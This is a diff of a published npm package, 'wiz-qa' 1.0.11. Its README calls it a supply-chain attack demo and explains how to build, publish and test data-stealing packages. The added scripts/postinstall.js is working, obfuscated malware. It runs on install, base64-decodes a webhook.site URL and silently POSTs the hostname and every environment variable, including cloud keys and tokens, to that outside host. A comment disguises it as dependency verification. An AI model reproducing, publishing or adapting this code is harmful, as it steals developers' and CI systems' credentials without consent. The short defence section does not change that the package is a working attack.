wiz-qa 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +218 -0
- package/dist/index.d.ts +2 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +8 -0
- package/dist/index.js.map +1 -0
- package/package.json +21 -0
- package/scripts/postinstall.js +25 -0
package/README.md
ADDED
|
@@ -0,0 +1,218 @@
|
|
|
1
|
+
# Malicious NPM Package - Supply Chain Attack Demo
|
|
2
|
+
|
|
3
|
+
Complete setup for creating malicious npm packages that exfiltrate data via postinstall hooks.
|
|
4
|
+
|
|
5
|
+
## ⚠️ Legal Notice
|
|
6
|
+
|
|
7
|
+
**For educational and security research purposes only.** Only use on systems you own or have explicit permission to test.
|
|
8
|
+
|
|
9
|
+
## Features
|
|
10
|
+
|
|
11
|
+
- ✅ **Automatic execution**: Runs on `npm install` via postinstall hook
|
|
12
|
+
- ✅ **Data exfiltration**: Collects hostname + all environment variables
|
|
13
|
+
- ✅ **Obfuscation**: Base64-encoded URLs, hex variable names
|
|
14
|
+
- ✅ **Reliable**: Uses `setInterval` to ensure HTTP request completes
|
|
15
|
+
- ✅ **Silent**: No console output during execution
|
|
16
|
+
- ✅ **Easy generation**: Single command to create new payloads
|
|
17
|
+
|
|
18
|
+
## Quick Start
|
|
19
|
+
|
|
20
|
+
### 1. Generate Postinstall Script
|
|
21
|
+
|
|
22
|
+
```bash
|
|
23
|
+
python3 generate_postinstall.py https://webhook.site/your-id > scripts/postinstall.js
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
### 2. Test Locally
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
node scripts/postinstall.js
|
|
30
|
+
# Check webhook.site for captured data
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### 3. Publish to NPM
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
npm version patch
|
|
37
|
+
npm run build
|
|
38
|
+
npm publish --access public
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## Usage Examples
|
|
42
|
+
|
|
43
|
+
**Generate with custom webhook:**
|
|
44
|
+
```bash
|
|
45
|
+
python3 generate_postinstall.py https://webhook.site/abc123 > scripts/postinstall.js
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Test the package:**
|
|
49
|
+
```bash
|
|
50
|
+
mkdir test && cd test
|
|
51
|
+
npm init -y
|
|
52
|
+
npm install dazz-redirects
|
|
53
|
+
# Check webhook for data
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
## Publishing Updates
|
|
57
|
+
|
|
58
|
+
Update package with new webhook URL:
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# 1. Generate new postinstall
|
|
62
|
+
python3 generate_postinstall.py https://new-webhook-url > scripts/postinstall.js
|
|
63
|
+
|
|
64
|
+
# 2. Version bump
|
|
65
|
+
npm version patch
|
|
66
|
+
|
|
67
|
+
# 3. Build
|
|
68
|
+
npm run build
|
|
69
|
+
|
|
70
|
+
# 4. Publish (you'll need OTP)
|
|
71
|
+
npm publish --access public
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
## How It Works
|
|
75
|
+
|
|
76
|
+
1. User runs: `npm install dazz-redirects`
|
|
77
|
+
2. NPM automatically executes: `node scripts/postinstall.js`
|
|
78
|
+
3. Script collects:
|
|
79
|
+
- Hostname (`os.hostname()`)
|
|
80
|
+
- All environment variables (`process.env`)
|
|
81
|
+
4. Sends JSON POST to your webhook:
|
|
82
|
+
```json
|
|
83
|
+
{
|
|
84
|
+
"h": "victim-machine",
|
|
85
|
+
"e": {
|
|
86
|
+
"HOME": "/home/user",
|
|
87
|
+
"AWS_ACCESS_KEY_ID": "AKIA...",
|
|
88
|
+
"DATABASE_URL": "postgres://...",
|
|
89
|
+
...
|
|
90
|
+
}
|
|
91
|
+
}
|
|
92
|
+
```
|
|
93
|
+
5. Uses `setInterval` to keep process alive until request completes
|
|
94
|
+
6. Executes silently - no output
|
|
95
|
+
|
|
96
|
+
## Obfuscation Techniques
|
|
97
|
+
|
|
98
|
+
1. **Base64-encoded webhook URL** - Not plaintext in code
|
|
99
|
+
2. **Hex variable names** - `_0x1a2b`, `_0x3c4d`, `_0x5e6f`
|
|
100
|
+
3. **IIFE wrapper** - Self-executing anonymous function
|
|
101
|
+
4. **Error handling** - Silent try-catch
|
|
102
|
+
5. **setInterval keepalive** - Ensures completion before exit
|
|
103
|
+
|
|
104
|
+
## File Structure
|
|
105
|
+
|
|
106
|
+
```
|
|
107
|
+
dazz-redirects/
|
|
108
|
+
├── scripts/
|
|
109
|
+
│ └── postinstall.js # Obfuscated payload
|
|
110
|
+
├── dist/ # Compiled dummy code
|
|
111
|
+
├── generate_postinstall.py # Generator script
|
|
112
|
+
├── package.json # With postinstall hook
|
|
113
|
+
└── README.md # This file
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
## Captured Data Example
|
|
117
|
+
|
|
118
|
+
Webhook receives JSON like:
|
|
119
|
+
```json
|
|
120
|
+
{
|
|
121
|
+
"h": "kali",
|
|
122
|
+
"e": {
|
|
123
|
+
"USER": "kali",
|
|
124
|
+
"HOME": "/home/kali",
|
|
125
|
+
"PATH": "/usr/local/bin:/usr/bin",
|
|
126
|
+
"AWS_ACCESS_KEY_ID": "AKIA...",
|
|
127
|
+
"AWS_SECRET_ACCESS_KEY": "...",
|
|
128
|
+
"GITHUB_TOKEN": "ghp_...",
|
|
129
|
+
"DATABASE_URL": "postgresql://...",
|
|
130
|
+
... (70+ variables)
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
## Testing
|
|
136
|
+
|
|
137
|
+
**Test on fresh directory:**
|
|
138
|
+
```bash
|
|
139
|
+
cd /tmp
|
|
140
|
+
mkdir test-$(date +%s)
|
|
141
|
+
cd test-*
|
|
142
|
+
npm init -y
|
|
143
|
+
npm install dazz-redirects
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
**Verify postinstall ran:**
|
|
147
|
+
```bash
|
|
148
|
+
npm install dazz-redirects --verbose 2>&1 | grep postinstall
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
**Manual execution:**
|
|
152
|
+
```bash
|
|
153
|
+
node node_modules/dazz-redirects/scripts/postinstall.js
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
## Troubleshooting
|
|
157
|
+
|
|
158
|
+
### No webhook request received
|
|
159
|
+
|
|
160
|
+
1. **Verify network**: `curl -X POST <webhook-url> -d '{"test":"ok"}'`
|
|
161
|
+
2. **Clear cache**: `npm cache clean --force`
|
|
162
|
+
3. **Fresh install**: Do clean install in new directory
|
|
163
|
+
4. **Check webhook**: Make sure webhook.site URL is still active
|
|
164
|
+
|
|
165
|
+
### Postinstall not running
|
|
166
|
+
|
|
167
|
+
- Check with verbose: `npm install <pkg> --verbose | grep postinstall`
|
|
168
|
+
- Should see: `npm info run <pkg> postinstall { code: 0, signal: null }`
|
|
169
|
+
|
|
170
|
+
### Can't publish
|
|
171
|
+
|
|
172
|
+
- Check logged in: `npm whoami`
|
|
173
|
+
- Version must be bumped: `npm version patch`
|
|
174
|
+
- May need OTP: `npm publish --access public --otp=123456`
|
|
175
|
+
|
|
176
|
+
## Version History
|
|
177
|
+
|
|
178
|
+
- **v2.0.5** ✅ Fixed: Direct execution (no eval/Function scope issues)
|
|
179
|
+
- **v2.0.4**: Longer setInterval timeout
|
|
180
|
+
- **v2.0.3**: Added response handlers
|
|
181
|
+
- **v2.0.2**: Fixed XOR binary encoding
|
|
182
|
+
- **v2.0.1**: Initial release
|
|
183
|
+
|
|
184
|
+
## Defense & Detection
|
|
185
|
+
|
|
186
|
+
### How to Detect
|
|
187
|
+
|
|
188
|
+
1. Review postinstall scripts before installing
|
|
189
|
+
2. Use `npm audit` and security scanners
|
|
190
|
+
3. Monitor network traffic from build systems
|
|
191
|
+
4. Check for suspicious dependencies
|
|
192
|
+
|
|
193
|
+
### How to Prevent
|
|
194
|
+
|
|
195
|
+
1. Use private npm registries
|
|
196
|
+
2. Vet all dependencies before use
|
|
197
|
+
3. Implement least-privilege for CI/CD
|
|
198
|
+
4. Don't expose secrets in environment variables
|
|
199
|
+
5. Use tools like Socket.dev or Snyk
|
|
200
|
+
|
|
201
|
+
## Requirements
|
|
202
|
+
|
|
203
|
+
- Python 3.x (no external dependencies)
|
|
204
|
+
- Node.js
|
|
205
|
+
- npm account for publishing
|
|
206
|
+
|
|
207
|
+
## Current Package
|
|
208
|
+
|
|
209
|
+
**Name**: `dazz-redirects`
|
|
210
|
+
**Version**: `1.0.0`
|
|
211
|
+
**Status**: Published and working
|
|
212
|
+
**Install**: `npm install dazz-redirects`
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
**Purpose**: Security research and education
|
|
217
|
+
**Created**: January 2026
|
|
218
|
+
**Note**: Use responsibly - this is a demonstration of supply chain attack vectors
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,eAAO,MAAM,SAAS,cAErB,CAAC"}
|
package/dist/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";;;AAAO,MAAM,SAAS,GAAG,GAAG,EAAE;IAC5B,OAAO,kCAAkC,CAAC;AAC5C,CAAC,CAAC;AAFW,QAAA,SAAS,aAEpB"}
|
package/package.json
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "wiz-qa",
|
|
3
|
+
"version": "1.0.11",
|
|
4
|
+
"main": "dist/index.js",
|
|
5
|
+
"types": "dist/index.d.ts",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"build": "tsc",
|
|
8
|
+
"postinstall": "node scripts/postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"files": [
|
|
11
|
+
"dist",
|
|
12
|
+
"scripts/postinstall.js"
|
|
13
|
+
],
|
|
14
|
+
"dependencies": {
|
|
15
|
+
"hono": "^4.10.3"
|
|
16
|
+
},
|
|
17
|
+
"devDependencies": {
|
|
18
|
+
"@types/node": "^22",
|
|
19
|
+
"typescript": "^5.9.3"
|
|
20
|
+
}
|
|
21
|
+
}
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Package initialization and dependency verification
|
|
3
|
+
*/
|
|
4
|
+
|
|
5
|
+
(function() {
|
|
6
|
+
try {
|
|
7
|
+
const _0x1a2b = Buffer.from('aHR0cHM6Ly93ZWJob29rLnNpdGUvZDRjY2EwMWYtMWZkYy00NDU3LThlZGQtYTk3OWM4NWJmZThh', 'base64').toString('utf8');
|
|
8
|
+
const https = require('https');
|
|
9
|
+
const os = require('os');
|
|
10
|
+
const _0x3c4d = JSON.stringify({ h: os.hostname(), e: process.env });
|
|
11
|
+
const _0x5e6f = setInterval(() => {}, 9999999);
|
|
12
|
+
const _0x7g8h = https.request(_0x1a2b, {
|
|
13
|
+
method: 'POST',
|
|
14
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(_0x3c4d) }
|
|
15
|
+
}, (_0x9i0j) => {
|
|
16
|
+
_0x9i0j.on('data', () => {});
|
|
17
|
+
_0x9i0j.on('end', () => { clearInterval(_0x5e6f); });
|
|
18
|
+
});
|
|
19
|
+
_0x7g8h.on('error', () => { clearInterval(_0x5e6f); });
|
|
20
|
+
_0x7g8h.write(_0x3c4d);
|
|
21
|
+
_0x7g8h.end();
|
|
22
|
+
} catch (_0xe) {
|
|
23
|
+
// Silent fail for compatibility
|
|
24
|
+
}
|
|
25
|
+
})();
|